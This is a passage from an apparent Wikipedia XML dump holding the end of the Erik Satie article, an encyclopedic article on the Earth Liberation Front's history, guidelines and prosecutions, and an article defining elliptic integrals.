With Jean Cocteau, whom he had first met in [[1915]], he started work on incidental music for a production of [[William Shakespeare|Shakespeare]]'s ''[[A Midsummer Night's Dream]]'' (resulting in the ''[[Cinq Grimaces]]''). From [[1916]] Satie and Cocteau worked on the ballet ''[[Parade (ballet)|Parade]]'', which was premiered in [[1917]] by [[Sergei Diaghilev]]'s [[Ballets Russes]], with sets and costumes by [[Pablo Picasso]], and [[choreography]] by [[Léonide Massine]]. Through Picasso Satie also became acquainted with other [[cubism|cubists]], such as [[Georges Braque]], with whom he would work on other, aborted, projects.

With Georges Auric, [[Louis Durey]], [[Arthur Honegger]], and [[Germaine Tailleferre]] he formed the [[Les Six|Nouveaux Jeunes]], shortly after writing ''Parade''. Later the group was joined by [[Francis Poulenc]] and [[Darius Milhaud]].  In September [[1918]], Satie &amp;ndash; giving little or no explanation &amp;ndash; withdrew from the Nouveaux Jeunes. Jean Cocteau gathered the six remaining members, forming the [[Groupe des Six]] (to which Satie would later have access, but later again would fall out with most of its members).

From [[1919]] he was in contact with [[Tristan Tzara]], the initiator of the [[Dada]] movement. He got to know the other Dadaists, such as [[Francis Picabia]] (later to become a [[surrealism|Surrealist]]), [[André Derain]], [[Marcel Duchamp]], [[Man Ray]], etc. On the day of his first meeting with Man Ray, they fabricated Man Ray's first [[readymade]]: ''[[The Gift]]'' (1921). Satie contributed to the Dadaist publication ''[[391 (publication)|391]]''. In the first months of 1922 he was surprised to find himself entangled in the argument between Tzara and [[André Breton]] about the true nature of avant-garde art, epitomised by the [[Congrès sur les directives et la défense de l'esprit moderne|Congrès de Paris]] failure. Satie originally sides with Tzara, but manages to maintain friendly relations with most players in both camps.  Meanwhile, an &quot;Ecole d'Arcueil&quot; had formed around Satie, with young musicians like [[Henri Sauguet]], [[Maxime Jacob]], [[Roger Désormière]] and [[Henri Cliquet-Pleyel]].

Finally he composed an &quot;instantaneist&quot; ballet (''[[Relâche]]'') in collaboration with Picabia, for the [[Ballets Suédois]] of [[Rolf de Maré]]. In a simultaneous project, Satie added music to the surrealist film ''[[Entr'acte]]'' by [[René Clair]], which was given as an intermezzo for ''Relâche''.

Other work and episodes in this last period of Satie's life:
* Since [[1911]] he had been on friendly terms with [[Igor Stravinsky]], about whom he would later write articles.
* ''[[Le Piège de Méduse]]'' ([[1913]]) had a quite unique position in Satie's [[oeuvre]], as it was a stage work conceived and composed seemingly without any collaboration with other artists.
* ''[[Sports et divertissements]]'' was a kind of multi-media project, in which Satie provided piano music to drawings made by [[Charles Martin]], composed in 1914 (publication and first public performance in the early [[1920]]s).
* He got in trouble over an insulting postcard he had written to one of his critics shortly after the premiere of ''Parade''; he was condemned to a week of imprisonment, but was finally released as a result of the (financial) intercession of [[Winnaretta Singer]], Princess Edmond de Polignac.
* Singer, who had learnt ancient Greek when she was over 50, had commissioned a work on [[Socrates]] in October [[1916]]; this would become his ''[[Vie de Socrate|Socrate]]'', which he presented early in [[1918]] to the Princess.
* From [[1917]] Satie wrote five pieces of ''[[furniture music]]'' (&quot;Musique d'ameublement&quot;) for different occasions.
* From 1920, he was on friendly terms with the circles around [[Gertrude Stein]], amongst others, leading to the publication of some of his articles in ''[[Vanity Fair magazine|Vanity Fair]]'' (commissioned by [[Sibyl Harris]]).
* Some works would originate under the patronage of the count [[Etienne de Beaumont]], from [[1922]] onwards:
** ''[[La Statue retrouvée]]'' (or &quot;Divertissement&quot;): another Satie-Cocteau-Picasso-Massine collaboration.
** ''[[Ludions]]'': a setting of [[nonsense verse|nonsense rhyme]] by [[Léon-Paul Fargue]]
** ''[[Mercure]]'': the subtitle of this piece (&quot;Poses plastiques&quot;) suggests it might have been intended rather as an emulation of the [[tableau vivant]] genre than as an actual ballet, the &quot;tableaux&quot; being cubist, by Picasso (and Massine).
* During his final years Satie travelled; for example, in [[1924]] to [[Belgium]], invited by [[Paul Collaer]], and to [[Monte Carlo]] for the premiere of a work on which he had collaborated.

===Epilogue: the shrine of Arcueil===
At the time of Satie's death in [[1925]], absolutely nobody except himself had ever entered his room in [[Arcueil]] since he had moved there twenty-seven years earlier. What his friends would discover there, after Satie's burial at the Cimetière d'Arcueil, had the allure of the opening of the grave of [[Tutankhamun]]; apart from the dust and the cobwebs (which among other things made clear that Satie never composed using his piano), they discovered numerous items:
* enormous quantities of [[umbrella]]s, some that had apparently never been used by Satie;
* the portrait of Satie by Valadon, shown above;
* love-letters and drawings from the Valadon period;
* other letters from all periods of his life;
* his collection of drawings of [[medievalism|medieval]] buildings (only now did his friends start to see the link between Satie and certain previously anonymous journal adverts regarding &quot;castles in lead&quot; and the like);
* other drawings and texts of autobiographical value;
* other memorabilia from all periods of his life, amongst which were the seven velvet suits from the [[Velvet gentleman]] period, etc.
But most importantly there were compositions nobody had ever heard of (or which were thought to have been lost) everywhere: behind the piano, in the pockets of the velvet suits, etc.  These included the ''[[Vexations]]'', ''[[Geneviève de Brabant]]'' and other unpublished or unfinished stage works, ''[[The Dreamy Fish]]'', many [[Schola Cantorum]] exercises, an unseen set of &quot;canine&quot; piano pieces, several other piano works, often without a title (which would be published later as more ''[[Gnossiennes]]'', ''[[Pièces Froides]]'', ''[[Enfantines]]'', ''[[Furniture music]]'', etc.).

==&quot;Petit dictionnaire d'idées reçues&quot; (short dictionary of preconceived ideas)==
&quot;Idée reçue&quot; is a play on words; in [[French language|French]] it is the normal term for &quot;prejudice&quot;, but Satie used it as the non-material equivalent of [[found object]]s (as in ''readymades'') &amp;mdash; for example, when he incorporated odd bits of music by Saint-Saëns and [[Ambroise Thomas]] in his ''furniture music''. This section treats some popular (mis)conceptions regarding Satie and his music:

'''Satie and furniture music''': not all of Satie's music is ''[[furniture music]]''.  In the strict sense the term applies only to five of his compositions, which he wrote in [[1917]], [[1920]], and [[1923]]. For the first public performance of ''furniture music'' see [[Entr'acte]].

'''Satie as precursor''': the only &quot;precursor&quot; discussion Satie was involved in during his lifetime was whether or not he was a precursor of [[Claude Debussy]], but many would follow. Over the years Satie would be described as a precursor of movements and styles as varied as [[Impressionism]], [[Neoclassicism (music)|neo-classicism]], [[Dada]], [[Surrealism]], [[Atonal music|atonalism]], [[minimalism (music)|minimalism]], [[conceptual art]], the [[Theatre of the Absurd]], [[muzak]], [[ambient music]], multimedia art, etc., and as taking the first steps towards techniques such as [[prepared piano]] and music-to-film [[synchronisation]]. Further, Satie became one of the first musicians to perform a [[cameo appearance]] - he was in a [[1924]] film by [[René Clair]] (see: [http://hem.fyristorg.com/ebay/wav/entracte.rm a sample of the film (rm format)] and the ''[[Entr'acte]]'' article).

All by himself Satie appears to have been the avant-garde to half of the avant-garde movements of the [[20th century]]. Many of these &quot;precursorisms&quot; are possibly based on quite superficial resemblances only, while, on the other hand, he undeniably inspired and influenced many later artists, and their ideas. According to Milhaud, Satie had &quot;prophesied the major movements in classical music to appear over the next fifty years within his own body of work.&quot; There is a website exploring that theory in detail: [http://www.comcen.com.au/~carowley/index.html Erik Satie's Crystal Ball] 

'''Satie as humorist''': many would be surprised to know how many of Satie's seemingly humorous compositions were at heart taken very seriously by him. When he forbade commentaries written in his [[Partition#Music|partition]]s to be read aloud, he probably saw this himself as a means to safeguard the seriousness of his intentions. When, at the first public performance of ''[[Socrate]]'', there was laughter, he felt hurt. Many other examples of his serious attitude can be found, but there's no doubt that Satie was a witty person, certainly not without many humorous [[idiosyncrasy|idiosyncrasies]].

'''Satie and compositions in three parts''': although many of his compositions (e.g., most of the pre-[[World War I|war]] piano pieces) were indeed in three parts, there is no general rule in this respect.  After his death, publishers would force more of them into an artificial three-part structure; Satie had actually already made a joke of such proceedings with his seven-part ''[[Trois Morceaux en forme de poire]]''.

'''Satie and (lack of) money''': although Satie certainly knew periods of dire poverty, and was perhaps a little uncontrollable in his spending, in long periods of his life he had few worries in this sense. Although maybe not having much money in his pockets, he was (certainly from the second decade of the [[20th century|new century]]) often invited to expensive restaurants and to all sort of events, and was given financial help, by all sort of people.

'''Satie as an opponent of other musical styles'''.  The musical styles Satie opposed were allegedly numerous: Wagnerism, Romanticism (Saint-Saëns, Franck, etc.), Impressionism (Debussy and Ravel), [[Expressionism]] (later Ravel), [[Slavism]] (Stravinsky), [[post-Wagnerism]] ([[Arnold Schoenberg|Schoenberg]]), [[cabaret]] music, etc.  Apart from some animosities on the personal level (which can be seen as symptomatic of most adherents of avant-garde movements of those days), Satie's ideas on other music of his time generally had more subtlety; for example, about [[César Franck]] he could not be brought to write critically, but would avoid the issue with jokes (&quot;Franck's music shows surprisingly much Franckism; Some even say César Frank was lazy, which is not a commendable property in a hard working man&quot;). Perhaps the same can be said as above regarding &quot;Satie as precursor&quot;: there is much empty discussion &amp;ndash; for example, the debate with Debussy appears to have been over whether or not Satie was a precursor of Impressionism, which would not have made much sense if he had been opposed to Impressionism as such.

'''Satie and boredom'''. Lacking any form of [[musical development|development]], Satie's compositions tend to be very short; a typical [[Movement (music)|movement]] of a Satie composition takes less than two minutes to play, and compositions with more than five movements are exceptional. Even his larger-scale works conforming to the genres known in his time would be two to five times shorter than the usual duration of such compositions (''Socrate'', a [[secular]] [[oratorio]] - or &quot;symphonic drama&quot; - lasting about half an hour, is the longest).  In general, Satie thought it to be a great fault for a composer to bore his audience in any way. There are eight of his compositions that use repetition as a compositional technique, more than doubling the total duration:
* ''[[Vexations]]'': with 840 repetitions of the musical motif (and many more of the melody of the bass), this is definitely the longest single-movement work with a ''defined'' number of repetitions (note that, without the repetitions, the actual music takes less than two minutes to play). No explanation by Satie survives regarding the exceptional length of the piece. If excluding the ''Tango'' mentioned in the next point, performing the ''Vexations'' takes longer than all his other music played in sequence.
* For ''Le Tango'' (&quot;The Tango&quot;), a rather catchy tune from ''[[Sports et divertissements]]'', Satie indicates in the score ''perpétuel'' (i.e. something like a [[perpetuum mobile]], which in French is &quot;mouvement perpétuel&quot;). There is little indication how Satie understood this &quot;perpetual&quot;, apart that at the premiere, at least ''assisted'' by Satie, there was obviously nothing repeated ''ad infinitum'', taken literally. When performed for a recording there is seldom more than one repeat of this part of the composition, making it one of the &quot;shortest&quot; [[tango music | tango]]s ever, something like a ''Minute Tango''.
* Five pieces of ''furniture music'', which were intended as &quot;background&quot; music with no number of repeats specified. The circumstances in which such music was performed by Satie himself indicate, however, that the total playing times would be intended to be the usual 'intermission' time of a stage production (see [[Entr'acte]]). While the public was not expected to be silent, these compositions can hardly be seen as an experiment in boredom.
* His music for the film ''Entr'acte'' has ten repeat zones in order to synchronise with the twenty-minute film (which has a very varied plot, so not much boredom is to be found there either).

'''Satie and sexuality''': much has been said about Satie's sexuality, ranging from &quot;hidden&quot; ''homosexuality'' to &quot;ordinary&quot; ''heterosexuality''. In fact, apart from the short-lived, and highly &quot;idealised&quot;, Valadon period, Satie's behaviour appeared more or less [[asexual]]: he tended to be dismissive when the topic of sexuality came up. See also:
* [[Gymnopédie]]
* Forum/News Group application of the Satie website by Niclas Fogwall (see link below).

==Notes==
#{{note|publications}} English translations of these pieces were published in ''A Mammal's Notebook'' see [[#Sources|Sources]] section below.

==See also==
A number of works by Erik Satie are listed in the [[:Category:compositions by Erik Satie|Category of compositions by Erik Satie]].

===External links===
{{wikiquote}}
* [http://www.af.lu.se/~fogwall/satie.html Satie Home page] &amp;mdash; a very full website dedicated to Satie, including a forum (managed by Niclas Fogwall). On the same website:
**[http://www.af.lu.se/~fogwall/samples.html A collection of Satie's music samples]
**[http://www.af.lu.se/~fogwall/pictures.html Pictures of Satie]
**[http://www.af.lu.se/~fogwall/satie/forum/ News Group (Forum)]
* [http://www.mutopiaproject.org/cgibin/make-table.cgi?Composer=SatieE&amp;preview=1 Satie's Scores] &amp;mdash; by the [[Mutopia Project]]

===Sources===
Niclas Fogwall's website mentioned above contains a [http://www.af.lu.se/~fogwall/intro.html comprehensive list of Satie publications], while more book references are mentioned on several contributors' pages at that site. Apart from sources mentioned in the text itself, the present Wikipedia article drew from, amongst others, the following publications (in English, unless indicated):

;Writings by Satie
*  ''A Mammal's Notebook: Collected Writings of Erik Satie'' (Serpent's Tail; Atlas Arkhive, No 5, 1997) ISBN 0947757929 (with introduction and notes by Ornella Volta, translations by Anthony Melville, contains several drawings by Satie)
* ''Correspondance presque complète: Réunie, établie et présentée par Ornella Volta'' (Paris: Fayard/Imes, 2000; 1265pp)  ISBN 2213606749 (an almost complete edition of Satie's letters, in French) 

;Books on Satie
* [[Ornella Volta|Volta, Ornella]] and Simon Pleasance, ''Erik Satie''  (Hazan: The Pocket Archives Series, 1997; 200pp) ISBN 2850255653
* [[Alan Gillmor|Gillmor, Alan M.]], ''Erik Satie'' (Twayne Pub., 1988, reissued 1992; 387pp) ISBN 0393308103
* [[Ornella Volta|Volta, Ornella]] and Michael Bullock, ''Satie Seen Through His Letters'' (Marion Boyars, 1994) ISBN 071452980X
* [[Robert Orledge|Orledge, Robert]], ''Satie Remembered'' (London: Faber and Faber, London, 1995)
* [[Robert Orledge|Orledge, Robert]], ''Satie the Composer'' Cambridge University Press: 1990; 437pp &amp;mdash; in the series ''Music in the Twentieth Century''  &lt;nowiki&gt;[ed.]&lt;/nowiki&gt; Arnold Whittall) ISBN 0521350379
* Templier, Pierre-Daniel (translated by Elena L. French and David S. French), ''Erik Satie'' (The MIT Press, 1969, reissued 1971) ISBN 0262700050 ''and'' (New York: Da Capo Press, 1980 reissue) ISBN 0306760398 (note: Templier extensively consulted Conrad, Erik Satie's brother, when writing this first biography that appeared in 1932. The English translation was, however, criticised by [[John Cage]]; in a letter to Ornella Volta ([[25 May]] [[1983]]) he referred to the translation as disappointing compared to the formidable value of the original biography)
* ''Satie the Bohemian: from Cabaret to Concert Hall'' (Oxford: Clarendon Press, 1999; 596pp) &amp;mdash; a fully researched account of Satie's musical career in what then was regarded as popular music)

===Recordings and arrangements===
;Piano works
Recordings of Satie's piano works have been released performed by [[Reinbert de Leeuw]], [[Pascal Rogé]], [[Olof Höjer]], [[Claude Coppens]] (live recording), [[Aldo Ciccolini]], [[Daniel Varsano]], [[Philippe Entremont]], [[João Paulo Santos]], [[Michel LeGrand]], [[Jacques Loussier]], etc.

;Arrangements
Various composers and performers have made arrangements of Satie's piano pieces for chamber ensembles and orchestras, including Debussy.

In 2000, ex-[[Genesis_(band)|Genesis]] guitarist [[Steve Hackett]] released the album, &quot;[[Sketches of Satie]]&quot;, performing Satie's works on acoustic guitar, with conributions by his brother [[John Hackett_(musician)|John]] on [[flute]]. [[Frank Zappa]] was also a devoted fan of Satie, incorporating many elements into both his rock and orchestral works.

;Other
* A recording of historical importance is probably ''Erik Satie, Les inspirations insolites'', re-issued by EMI as a 2-CD set, containing among other pieces: ''[[Geneviève de Brabant]]'' (in a version before Contamine's text had been recovered), ''Le piège de Méduse'', ''Messe des pauvres'', etc.
*Many other recordings exist: ''Parade/Relâche'' (Michel Plasson/Orchestre du Capitole de Toulouse), ''Satie: Socrate [etc.]'' (Jean-Paul Fouchécourt/Ensemble), and recordings of songs, e.g., by Anne-Sophie Schmidt.

[[Category:1866 births|Satie, Erik]]
[[Category:1925 deaths|Satie, Erik]]
[[Category:French pianists|Satie, Erik]]
[[Category:French composers|Satie, Erik]]
[[Category:20th century classical composers|Satie, Erik]]
[[Category:Fin de siècle|Satie, Erik]]
[[Category:Cabaret|Satie, Erik]]
[[Category:Neoclassical composers|Satie, Erik]]
[[Category:Groupe des six|Satie, Erik]]
[[Category:Dada|Satie, Erik]]
[[Category:Surrealism|Satie, Erik]]
[[Category:Normans|Satie, Erik]]
[[Category:Anti-Wagnerites|Satie, Erik]]
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        <username>Dumpster</username>
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      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Vail_fire.jpg|thumb|right||ELF Poster which features the Two Elk Lodge on fire in Vail, Colorado]]

The '''Earth Liberation Front''' ('''ELF''') is a name for anonymous and [[autonomous]] cells that occording to the [[Earth Liberation Front Press Office]] (ELFPO) &quot;uses [[direct action]] in the form of economic sabotage to stop the exploitation and destruction of the natural environment.&quot; ELF cells have been active in  the [[United States]], [[Canada]], [[Greece]], and the [[United Kingdom]] were ELF was founded. ELF sympathizers, the ELF is an [[eco-defense]] group that is dedicated to taking the profit motive out of environmental destruction by targeting and causing economic damage to businesses through the use of [[direct action]]. The ELF has committed more than 1,200 direct actions in the U.S. causing more $200 million in damage. [http://www.csmonitor.com/2006/0130/p20s01-sten.html]

The ELF was classified as the number 1 domestic [[terrorism|terrorist]] group by the [[FBI]] in March 2001. [http://prfamerica.org/EarthLiberationFrontNo1onFBIList.html] Supporters and sympathizers of the ELF often deny that they are a terrorist group because no one has been injured by any action claimed by the ELF. The ELF's guidelines require that individuals or groups acting on behalf of the front &quot;take all necessary precautions against harming any animal - human and nonhuman.&quot;

Their techniques involve [[sabotage|destruction of property]] that they believe is being used to injure animals, people or the [[natural environment|environment]].  This [[vandalism]] and [[arson]] has been labeled ''[[ecotage]]'' and there are marked differences between the actions in the United States and in United Kingdom. The Earth Liberation Front has no formal leadership, membership or official spokesperson, instead it consists of individuals or small groups who choose to use the term. However, the [[FBI]] identifies activist [[Rod Coronado]] as &quot;a national leader&quot; of the ELF in the USA, while Coronado describes himself as an &quot;unofficial ELF spokesman&quot; [http://www.nzherald.co.nz/section/story.cfm?c_id=2&amp;ObjectID=10370129]. [[Craig Rosebraugh]] served as an unofficial spokesperson for the ELF from 1997 to early September 2001 [http://portland.indymedia.org/en/2006/02/334091.shtml]. 

== History ==

The Earth Liberation Front was founded in [[1992]] in [[Brighton, England]] by  members of the [[Earth First|&quot;Earth First!&quot;]] environmental movement. The name was derived from the [[Animal Liberation Front]] (ALF). [http://greenfield.fortunecity.com/tree/16/fire.html#] In the September-October 1993 issue of the [[Earth First!]] Journal, an anonymous article announced the creation of the ELF in England.  It said the ELF &quot;is a movement of independently operating eco-sabateurs&quot; that split from the &quot;British EF! movement, which has focused directly on public direct actions.&quot;

== Guidelines ==

Any [[direct action]] taken to halt ecological destruction while keeping to the following guidelines could, if claimed as such, be considered an ELF action. [http://www.eco-action.org/dod/no10/flames.htm]

#To inflict maximum economic damage on those profiting from the destruction and exploitation of the natural environment.
#To reveal and educate the public about the atrocities committed against the earth and all species that populate it.
#To take all necessary precautions against harming any animal - human and nonhuman. [http://www.satyamag.com/mar04/elf.html]

== Targets ==

ELF has carried out attacks against facilities and companies involved in logging, genetic engineering, home building, automobile sales, energy production and distribution, and a wide variety of other activities, all charged by ELF with exploiting the environment. 

== Funding ==

Individuals work in [[autonomous]] [[affinity groups]] and are self-funded.[http://www.tkb.org/Group.jsp?groupID=41]

== Actions and police responses ==
:''See [[Timeline of Earth Liberation Front actions]]''

In late 2005 and early 2006, as part of ''[[Operation Backfire]]'', US [[grand juries]] indicted a total of 18 activists on a range of charges related to &quot;violent acts in the name of animal rights and environmental causes&quot; [http://www.fbi.gov/pressrel/speeches/mueller012006.htm]. According to the FBI, many of these acts were carried out on behalf of the ELF [http://www.fbi.gov/page2/jan06/elf012006.htm]. Although some of those arrested deny any affliation with the ELF [http://www.indymedia.org/en/2006/01/831928.shtml], others, including Rod Coronado, have established ties to the group [http://www.nzherald.co.nz/section/story.cfm?c_id=2&amp;ObjectID=10370129].


== Criticism of ELF ==

Opponents, consider it luck, more than anything, that no one has been killed by the ELF's arson. [http://www.stopecoviolence.com/pdfs/2_12_02.pdf] Some mainstream environmental groups and advocates condemn the ELF for using violence, (against property), and claim that their approach does more harm than good to their cause [http://home.earthlink.net/~elfblog/].

== In popular culture ==

Folk musician [[David Rovics]] performs a song dedicated to the ELF called &quot;Song for the Earth Liberation Front&quot; [http://members.aol.com/drovics/elfl.htm] as well as a song about accused ELF activist, [[Jeffrey Luers]] titled &quot;Free&quot;, after Luers' nickname. [http://portland.indymedia.org/en/2004/12/306830.shtml]

[[Edward Abbey]] published ''[[The Monkey Wrench Gang]]'' in 1975. The book is thought to be the inspiration for the formation of [[Earth First!]] but it came to more closely resemble the ELF. In 1989 he published a sequel ''[[Hayduke Lives]]''.

In the 2004 novel by [[Michael Crichton]], ''[[State of Fear]]'', ELF is cited as the main villain. *Note: In the book the ELF stands for Environmental Liberation Front.

== Earth Liberation Front in the UK ==
Two years after the [[Earth First!]] (UK) started the first national gathering was held, in 1992. Central to the meeting was a debate on tactics in particular whether actions involving [[criminal damage]] should be undertaken. The meeting decided that EF!(UK) would not undertake such actions and would neither condone or condemn them. Some members decided to adopt the ELF name for actions involving criminal damage or [[ecotage]].[http://www.spiritoffreedom.org.uk/about/history.html] Such actions were undertaken under the ELF banner and were often attributed to the [[elves]] and [[pixie]]s, a pun on the initials. ELF(UK) has never had a formal orginisation, actions have been reported in EF!(UK) publications such as ''Action Update'' and ''Do or Die!''.

The actions of the Earth Liberation Front in the United Kingdom have have mainly focused
around small unreported [[covert]] [[ecotage]], and have fallen short of eco-terrorism or major arson. Many of these happened on ''Earth Night'' or around protest camps connected with road-building, airports, or quarrying. Since 1996 virtually no actions have been claimed by the UK ELF, although covert ecotage does continue.
: Plows, Wall, Doherty, ''Covert Repertoires: ecotage in the UK'', Social Movement Studies, Vol. 3, No. 2, October 2004 [http://www.cardiff.ac.uk/cplan/teaching/cpt637/background/article1.pdf].

An anonymous article in the September-October 1993 issue of the [[Earth First!]] Journal, that announced the creation of the ELF in England said that the ELF split from the &quot;British EF! movement, which has focused directly on public direct actions.&quot;  The author noted that, unlike the ALF which seeks publicity, &quot;ELF cells, for security reasons, work without informing the press and do not claim responsibility for actions...  The surest way to be done for conspiracy or to attract surveillance or infiltrators is to seek attention.&quot;  Instead, the ELF publicizes pre-announced, internationally coordinated &quot;Earth Nights.&quot;  These announcements always call for harm to property only, never life.

==See also==
*[[Rod Coronado]]
*[[Craig Rosebraugh]]
*[[Animal Liberation Front]]
*[[Eco-Terrorism]]
*[[Green Anarchism]]
*[[Green syndicalism]]
*[[Earth First]]
*[[Operation Backfire (FBI)]]
*[[Jacob Ferguson]]
*[[Green Scare]]

==External links==
*[http://www.spiritoffreedom.org.uk/ Earth Liberation Prisoners]
*[http://www.ecoprisoners.org/ North American Earth Liberation Prisoners Support Network]
*[http://web.archive.org/web/*/http://www.earthliberationfront.com archives of the Earth Liberation Front homepage]
*[http://www.fbi.gov/congress/congress02/jarboe021202.htm FBI on Eco-Terrorism]
*[http://www.keele.ac.uk/depts/spire/Working_Papers/Brian_Doherty_working_papers/Covert%20Repertoires%20Ecotage%20in%20the%20UK.doc Covert Repertoires: Ecotage in the UK]
*[http://www.eco-action.org/dod/index.html Do or Die: Voices from the Ecological Resistance]
*[http://earthfirst.org.uk/actionreports/ Earth First! (UK) action reports]
*[http://www.earthfirst.org/ Earth First!]
*[http://bombsandshields.blogspot.com/ Bombs and Shields: Covers the latest ELF news]

[[Category:Environmental organizations]]
[[Category:Anarchist organizations]]
[[Category:terrorism]]

[[de:Earth Liberation Front]]
[[fr:Earth Liberation Front]]
[[nl:Earth Liberation Front]]</text>
    </revision>
  </page>
  <page>
    <title>Elliptic integral</title>
    <id>9960</id>
    <revision>
      <id>41177802</id>
      <timestamp>2006-02-25T15:50:15Z</timestamp>
      <contributor>
        <ip>195.93.21.106</ip>
      </contributor>
      <comment>/* Incomplete elliptic integral of the third kind */</comment>
      <text xml:space="preserve">In [[integral calculus]], '''elliptic integrals''' originally arose in connection with the problem of giving the [[arc length]] of an [[ellipse]] and were first studied by [[Giulio Fagnano]] and [[Leonhard Euler]].

In the modern definition, an '''elliptic integral''' is any [[function (mathematics)|function]] ''f'' which can be expressed in the form

:&lt;math&gt; f(x) = \int_{c}^{x} R(t,P(t))\ dt &lt;/math&gt;

where ''R'' is a [[rational function]] of its two arguments, ''P'' is the square root of a [[polynomial]] of degree 3 or 4 (a cubic or quartic) with no repeated roots, and ''c'' is a constant.

In general, elliptic integrals cannot be expressed in terms of elementary functions; exceptions to this are when ''P'' does have repeated roots, or when ''R''(''x'',''y'') contains no odd powers of ''y''.  However, with appropriate reduction formula, every elliptic integral can be brought into a form that involves integrals over rational functions, and the three canonical forms (i.e. the elliptic integrals of the first, second and third kind).  

Besides the forms given below, the elliptic integrals may also be expressed in [[Legendre form]] and [[Carlson symmetric form]]. Additional insight into the theory of the indefinite integral may be gained through the study of the [[Schwarz-Christoffel mapping]].

==Notation==
Elliptic integrals are often expressed as functions of a variety of different arguments. These different arguments are completely equivalent (they give the same elliptic integral), but can be confusing due to their different appearance.  Most texts adhere to a canonical naming scheme. Before defining the integrals, we review the naming conventions for the arguments:

* ''k'' the '''[[elliptic modulus]]'''
* ''m''=''k''&lt;sup&gt;2&lt;/sup&gt; the '''parameter'''
* &lt;math&gt;\alpha&lt;/math&gt; the '''modular angle''', &lt;math&gt;k=\sin \alpha&lt;/math&gt;

Note that the above three are completely determined by one another; specifying one is the same as specifying another.  The elliptic integrals will also depend on another argument; this can also be specified in a number of different ways:

* &lt;math&gt;\phi&lt;/math&gt; the '''amplitude'''
* ''x'' where &lt;math&gt;x=\sin \phi= \textrm{sn} \; u&lt;/math&gt;
* ''u'', where ''x''=sn ''u'' and sn is one of the [[Jacobian elliptic functions]]

Specifying any one of these determines the others, and thus again, these may be used interchangeably in the notation.  Note that ''u'' also depends on ''m''. Some additional relationships involving ''u'' include
:&lt;math&gt;\cos \phi = \textrm{cn}\; u&lt;/math&gt;
and
:&lt;math&gt;\sqrt{1-m\sin^2 \phi} = \textrm{dn}\; u&lt;/math&gt;.
The latter is sometimes called the '''delta amplitude''' and written as &lt;math&gt;\Delta(\phi)=\textrm{dn}\; u&lt;/math&gt;.

Sometimes the literature refers to the ''complementary parameter'', the ''complementary modulus'' or the ''complementary modular angle''. These are further defined in the article on [[quarter period]]s.

==Incomplete elliptic integral of the first kind==
The '''incomplete elliptic integral of the first kind''' ''F'' is defined, in [[Carl Gustav Jakob Jacobi|Jacobi]]'s form, as 
:&lt;math&gt; F(x;k) =
\int_{0}^{x} \frac{1}{ \sqrt{(1-t^2)(1-k^2 t^2)} }\ dt \,\!&lt;/math&gt;
Equivalently, using alternate notation,
:&lt;math&gt; F(x;k) = F(\phi|m) = F(\phi\setminus \alpha ) =
\int_0^\phi \frac{1}{ \sqrt{1-\sin^2 \alpha \sin^2 \theta}} \ d\theta \,\!&lt;/math&gt;
where it is understood that when there is a vertical bar used, the argument following the vertical bar is the parameter (as defined above), and, when a backslash is used, it is followed by the modular angle.  Note that
:&lt;math&gt;F(x;k) = u&lt;/math&gt;
with ''u'' as defined above: thus, the [[Jacobian elliptic functions]] are inverses to the elliptic integrals.

==Incomplete elliptic integral of the second kind==
The '''incomplete elliptic integral of the second kind''' ''E'' is 
:&lt;math&gt; E(x;k) = \int_{0}^{x} \frac{ \sqrt{1-k^2 t^2} }{ \sqrt{1-t^2} }\ dt &lt;/math&gt;

Equivalently, using alternate notation,
:&lt;math&gt; E(x;k) = E(\phi|m) = E(\phi\setminus \alpha ) =
\int_0^\phi  \sqrt{1-\sin^2 \alpha \sin^2 \theta} \ d\theta 
&lt;/math&gt;

Additional relations include
:&lt;math&gt;E(\phi|m) = \int_0^u \textrm{dn}^2 w \;dw =
u-m\int_0^u \textrm{sn}^2 w \;dw = 
(1-m)u+m\int_0^u \textrm{cn}^2 w \;dw&lt;/math&gt;

==Incomplete elliptic integral of the third kind==
The '''incomplete elliptic integral of the third kind''' &lt;math&gt;\Pi&lt;/math&gt; is 
:&lt;math&gt; \Pi(n; \phi|m) = \int_{0}^{x} \frac{1}{1-nt^2} 
\frac{1} {\sqrt{(1-k^2 t^2)(1-t^2) }}\ dt &lt;/math&gt;
or
:&lt;math&gt; \Pi(n; \phi|m) = \int_0^\phi  \frac{1}{1-n\sin^2 \theta}
\frac {1}{\sqrt{ (1-\sin^2 \alpha \sin^2 \theta) }} \ d\theta&lt;/math&gt;
or
:&lt;math&gt; \Pi(n; \phi|m) = \int_0^u \frac{1}{1-n \textrm{sn}^2 (w|m)} \; dw&lt;/math&gt;

The number ''n'' is called the '''characteristic''' and can take on any value, independently of the other arguments. Note though that the value &lt;math&gt;\Pi(1;\pi/2|m)&lt;/math&gt; is infinite, for any &lt;math&gt;m&lt;/math&gt;.

==Complete elliptic integral of the first kind==
The complete elliptic integral of the first kind ''K'' is defined as

:&lt;math&gt; K(k) = \int_{0}^{1} \frac{1}{ \sqrt{(1-t^2)(1-k^2 t^2)} }\ dt &lt;/math&gt;&lt;br /&gt;
and can be computed in terms of the [[arithmetic-geometric mean]].

It can also be calculated as&lt;br /&gt;
:&lt;math&gt; K(k) = \frac{\pi}{2} \sum_{n=0}^{\infty} k^{2n} \frac{(2n)!(2n)!}{16^n n!n!n!n!}&lt;/math&gt;&lt;br /&gt;

Or in form of integral of [[sine]], when 0 &amp;le; ''k'' &amp;le; 1&lt;br /&gt;
:&lt;math&gt;K( k ) = \int_0^{\frac{\pi}{2}} \frac{d\theta}{\sqrt {1 - k^2 \sin ^2 \theta }}&lt;/math&gt;&lt;br /&gt;

The complete elliptic integral of the first kind is sometimes called the [[quarter period]]. 

==Complete elliptic integral of the second kind== 
The '''complete elliptic integral of the second kind''' ''E'' is defined as&lt;br /&gt;
:&lt;math&gt; E(k) = \int_{0}^{1} \frac{ \sqrt{1-k^2 t^2} }{ \sqrt{1-t^2} }\ dt &lt;/math&gt;

Or if 0 &amp;le; ''k'' &amp;le; 1:&lt;br /&gt;

:&lt;math&gt;E( k ) = \int_0^{\frac{\pi}{2}} \sqrt {1 - k^2 \sin ^2 \theta}\ d\theta&lt;/math&gt;

==History==
Historically, elliptic functions were discovered as inverse functions of elliptic integrals, and this one in particular: we have ''F''(sn(''z'';''k'');''k'') = ''z'' where sn is one of [[Jacobi's elliptic functions]].

==See also==

* [[Legendre form]]
* [[Carlson symmetric form]]
* [[Schwarz-Christoffel map]]

==References==
